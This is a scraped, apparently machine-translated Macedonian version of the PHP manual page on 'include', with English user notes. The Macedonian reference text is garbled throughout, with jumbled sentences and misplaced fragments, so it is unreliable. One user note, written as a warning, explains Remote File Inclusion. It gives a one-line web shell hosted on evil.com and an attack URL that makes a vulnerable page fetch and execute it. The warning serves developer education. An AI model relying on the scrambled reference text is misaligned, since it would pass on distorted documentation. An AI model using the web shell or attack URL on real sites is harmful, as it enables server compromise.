This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.include
Почист и полокален преглед на PHP референцата, со задржана структура од PHP.net и подобра читливост за примери, секции и белешки.
include
Референца за `function.include.php` со подобрена типографија и навигација.
include
(PHP 4, PHP 5, PHP 7, PHP 8)
На include изразот вклучува и го проценува наведениот датотека.
изразот вклучува и го проценува наведениот датотека. require.
Документацијата подолу исто така се однесува на
include_path Датотеките се вклучуваат врз основа на дадениот пат до датотеката или, ако не е даден, include_path,
include наведениот. Ако датотеката не се најде во
include ќе провери во сопствената директориум на повикувачкиот скрипт и тековниот работен директориум пред да откаже. Конструкцијата
E_WARNING ќе емитува
requireако не може да најде датотека; ова е различно однесување од
E_ERROR.
, што ќе емитува include and require
Имајте предвид дека и двете E_WARNINGкреваат дополнителни E_WARNING or
E_ERROR, соодветно.
s, ако датотеката не може да се пристапи, пред да го крене финалниот \ Ако е дефиниран пат — било апсолутен (започнува со буква на погон или / на Windows, или
. or ..на Unix/Linux системи) или релативен до тековната директорија (започнува со
include_path ) — ../ќе се игнорира целосно. На пример, ако името на датотеката започнува со
, парсерот ќе бара во родителската директорија за да ја најде бараната датотека. include_path.
За повеќе информации за тоа како PHP вклучува датотеки и патеката за вклучување, видете ја документацијата за опсег на променливи Кога датотеката е вклучена, кодот што го содржи го наследува
Пример #1 Основен include example
vars.php
<?php
$color = 'green';
$fruit = 'apple';
?>
test.php
<?php
echo "A $color $fruit"; // A
include 'vars.php';
echo "A $color $fruit"; // A green apple
?>Пример #1 Основно Пред PHP 8.0.0, константите дефинирани со помош на функцијата може да бидат неосетливи на големи и мали букви. Ако вклучувањето се случи внатре во функција во повикувачката датотека, тогаш целиот код содржан во повиканата датотека ќе се однесува како да бил дефиниран внатре во таа функција. Така, ќе го следи опсегот на променливите на таа функција. Исклучок од ова правило се
кои се проценуваат од парсерот пред да се случи вклучувањето.
<?php
function foo()
{
global $color;
include 'vars.php';
echo "A $color $fruit";
}
/* vars.php is in the scope of foo() so *
* $fruit is NOT available outside of this *
* scope. $color is because we declared it *
* as global. */
foo(); // A green apple
echo "A $color $fruit"; // A green
?>Пример #2 Вклучување во функции Кога датотека е вклучена, парсирањето излегува од PHP режим и влегува во HTML режим на почетокот на целната датотека, и повторно продолжува на крајот. Од оваа причина, секој код внатре во целната датотека што треба да се изврши како PHP код мора да биде затворен во.
валидни PHP почетни и завршни ознакиАко се овозможени "обвивки за вклучување на URL Поддржани протоколи и обвивки " во PHP, можете да ја наведете датотеката што треба да се вклучи користејќи URL (преку HTTP или друга поддржана обвивка - видете
Пример #3 include за список на протоколи) наместо локална патека. Ако целниот сервер ја толкува целната датотека како PHP код, променливите може да се поминат до вклучената датотека користејќи стринг за барање на URL како што се користи со HTTP GET. Ова не е строго исто како вклучување на датотеката и нејзино наследување на опсегот на променливите на родителската датотека; скриптата всушност се извршува на далечинскиот сервер и резултатот потоа се вклучува во локалната скрипта.
<?php
/* This example assumes that www.example.com is configured to parse .php
* files and not .txt files. Also, 'Works' here means that the variables
* $foo and $bar are available within the included file. */
// Won't work; file.txt wasn't handled by www.example.com as PHP
include 'http://www.example.com/file.txt?foo=1&bar=2';
// Won't work; looks for a file named 'file.php?foo=1&bar=2' on the
// local filesystem.
include 'file.php?foo=1&bar=2';
// Works.
include 'http://www.example.com/file.php?foo=1&bar=2';
?>преку HTTP
Безбедносно предупредување readfile() Далечинската датотека може да се обработи на далечинскиот сервер (во зависност од екстензијата на датотеката и фактот дали далечинскиот сервер работи PHP или не), но сепак мора да произведе валидна PHP скрипта бидејќи ќе се обработи на локалниот сервер. Ако датотеката од далечинскиот сервер треба да се обработи таму и само да се прикаже,
Види исто така е многу подобра функција за користење. Инаку, треба да се внимава посебно за да се обезбеди далечинската скрипта за да произведе валиден и посакуван код., fopen() and file() Далечински датотеки
за слични информации. include returns
FALSE Ракување со враќања:
1на неуспех и крева предупредување. Успешните вклучувања, освен ако не се надминати од вклучената датотека, враќаат return
. Можно е да се изврши Кога датотека е вклучена, парсирањето излегува од PHP режим и влегува во HTML режим на почетокот на целната датотека, и повторно продолжува на крајот. Од оваа причина, секој код внатре во целната датотека што треба да се изврши како PHP код мора да биде затворен во (како и со секоја локална датотека). Можете да ги декларирате потребните променливи во тие тагови и тие ќе бидат воведени во која било точка датотеката беше вклучена.
Кога корисникот ќе кликне некаде на сликата, придружната форма ќе биде предадена на серверот со две дополнителни променливи: include (како и со секоја локална датотека). Можете да ги декларирате потребните променливи во тие тагови и тие ќе бидат воведени во која било точка каде што датотеката е вклучена.
е специјална конструкција на јазикот, заградите не се потребни околу неговиот аргумент. Внимавајте при споредување на вратената вредност.
<?php
// won't work, evaluated as include(('vars.php') == TRUE), i.e. include('1')
if (include('vars.php') == TRUE) {
echo 'OK';
}
// works
if ((include 'vars.php') == TRUE) {
echo 'OK';
}
?>
Генератор include Пример #4 Споредување на вратената вредност на include return statement
return.php
<?php
$var = 'PHP';
return $var;
?>
noreturn.php
<?php
$var = 'PHP';
?>
testreturns.php
<?php
$foo = include 'return.php';
echo $foo; // prints 'PHP'
$bar = include 'noreturn.php';
echo $bar; // prints 1
?>
$bar и 1 е вредноста
return бидејќи вклучувањето беше успешно. Забележете ја разликата помеѓу горните примери. Првиот користи false во вклучената датотека додека другиот не. Ако датотеката не може да се вклучи,
E_WARNING се враќа и
се издава. return Ако има функции дефинирани во вклучената датотека, тие можат да се користат во главната датотека независно дали се пред include_once или после. Ако датотеката се вклучи двапати, PHP ќе подигне фатална грешка бидејќи функциите веќе биле декларирани. Се препорачува да се користи
наместо да се проверува дали датотеката веќе била вклучена и условно да се враќа внатре во вклучената датотека. Функции за контрола на излезот with include. На пример:
Друг начин за "вклучување" на PHP датотека во променлива е да се фати излезот со користење на
<?php
$string = get_include_contents('somefile.php');
function get_include_contents($filename) {
if (is_file($filename)) {
ob_start();
include $filename;
return ob_get_clean();
}
return false;
}
?>Пример #6 Користење на баферирање на излезот за вклучување на PHP датотека во стринг auto_prepend_file and auto_append_file е повикан од главната скриптна датотека, тогаш извршувањето на скриптата завршува. Ако тековната скриптна датотека била именувана од php.ini.
Забелешка: За автоматско вклучување на датотеки во скрипти, видете исто така Бидејќи ова е конструкција на јазикот, а не функција, не може да се повика користејќи, или именувани аргументи.
Види исто така require, require_once, include_once, get_included_files(), readfile(), virtual()Препорачаниот начин за избегнување на SQL инјекција е со врзување на сите податоци преку подготвени изрази. Користењето на параметризирани прашања не е доволно за целосно избегнување на SQL инјекција, но тоа е најлесниот и најбезбедниот начин за обезбедување влез во SQL изразите. Сите динамични литерали на податоци во include_path.
Белешки од корисници 13 белешки
If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:
<?php
# index.php
define('what', 'ever');
include 'includeFile.php';
# includeFile.php
// check if what is defined and die if not
?>
The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at "/usr/share/nginx/html", keep the include files in "/usr/share/nginx/src".
<?php
# index.php (in document root (/usr/share/nginx/html))
include __DIR__ . '/../src/includeFile.php';
?>
Since user can't type 'your.site/../src/includeFile.php', your includeFile(s) would not be accessible to the user directly.Before using php's include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI).
As example #3 points out, it is possible to include a php file from a remote server.
The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation. Suppose you have an example.php with code:
<?php
// Bad Code
$path = $_GET['path'];
include $path . 'example-config-file.php';
?>
As a programmer, you might expect the user to browse to the path that you specify.
However, it opens up an RFI vulnerability. To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.
evil.txt
<?php echo shell_exec($_GET['command']);?>
It is a text file so it would not be processed on my server but on the target/victim server. I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00
The example.php would download my evil.txt and process the operating system command that I passed in as the command variable. In this case, it is whoami. I ended the path variable with a %00, which is the null character. The original include statement in the example.php would ignore the rest of the line. It should tell me who the web server is running as.
Please use proper input validation if you use variables in an include statement.I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();
Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.Ideally includes should be kept outside of the web root. That's not often possible though especially when distributing packaged applications where you don't know the server environment your application will be running in. In those cases I use the following as the first line.
( __FILE__ != $_SERVER['SCRIPT_FILENAME'] ) or exit ( 'No' );If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)
Wade.When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include "file") instead of ( include "./file") . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).
This is an example to demonstrate the situation :
We have two directory structure :
-dir1
----script.php
----test
----dir1_test
-dir2
----test
----dir2_test
dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test
script.php contains the following code:
<?php
echo 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo '<br />';
echo 'including "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo 'Changing current working directory to dir2';
chdir('../dir2');
echo '<br />';
echo 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo '<br />';
echo 'including "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo 'including "dir2_test" ...';
echo '<br />';
include 'dir2_test';
echo '<br />';
echo 'including "dir1_test" ...';
echo '<br />';
include 'dir1_test';
echo '<br />';
echo 'including "./dir1_test" ...';
echo '<br />';
(@include './dir1_test') or die('couldn\'t include this file ');
?>
The output of executing script.php is :
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir1
including "test" ...
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir2
including "test" ...
This is test in dir2
including "dir2_test" ...
This is dir2_test
including "dir1_test" ...
This is dir1_test
including "./dir1_test" ...
couldn't include this fileAs a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:
----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----
and so on. This way, the files in your framework will only have to issue statements such as this:
<?php
require_once(LIB_DIR . 'excel_functions.php');
?>
This also frees you from having to check the include path each time you do an include.
If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:
--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--
This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.It is also able to include or open a file from a zip file:
<?php
include "something.zip#script.php";
echo file_get_contents("something.zip#script.php");
?>
Note that instead of using / or \, open a file from a zip file uses # to separate zip name and inner file's name.In the Example #2 Including within functions, the last two comments should be reversed I believe.It's worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR. If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows. (In a semi-related way, there is a smart end-of-line character, PHP_EOL)
Example:
<?php
$cfg_path
= 'includes'
. DIRECTORY_SEPARATOR
. 'config.php'
;
require_once($cfg_path);A word of warning about lazy HTTP includes - they can break your server.
If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.
Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.
Consider the following:
<?php
include '/Path/To/File.php';
?>
In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:\Server\Sites\MySite) since the path began with a forward slash. This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.
However, Unix file/folder structuring is a little different. The / represents the root of the hard drive or current hard drive partition. In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs). Thusly, an error/warning would be thrown because the path doesn't exist in the root path.
I just thought I'd mention that. It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.
A work around would be something like:
<?php
$documentRoot = null;
if (isset($_SERVER['DOCUMENT_ROOT'])) {
$documentRoot = $_SERVER['DOCUMENT_ROOT'];
if (strstr($documentRoot, '/') || strstr($documentRoot, '\\')) {
if (strstr($documentRoot, '/')) {
$documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
}
elseif (strstr($documentRoot, '\\')) {
$documentRoot = str_replace('\\', DIRECTORY_SEPARATOR, $documentRoot);
}
}
if (preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {
$documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);
$documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot);
}
}
else {
/**
* I usually store this file in the Includes folder at the root of my
* virtual host. This can be changed to wherever you store this file.
*
* Example:
* If you store this file in the Application/Settings/DocRoot folder at the
* base of your site, you would change this array to include each of those
* folders.
*
* <code>
* $directories = array(
* 'Application',
* 'Settings',
* 'DocRoot'
* );
* </code>
*/
$directories = array(
'Includes'
);
if (defined('__DIR__')) {
$currentDirectory = __DIR__;
}
else {
$currentDirectory = dirname(__FILE__);
}
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;
foreach ($directories as $directory) {
$currentDirectory = str_replace(
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
DIRECTORY_SEPARATOR,
$currentDirectory
);
}
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}
define('SERVER_DOC_ROOT', $documentRoot);
?>
Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.
Example:
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>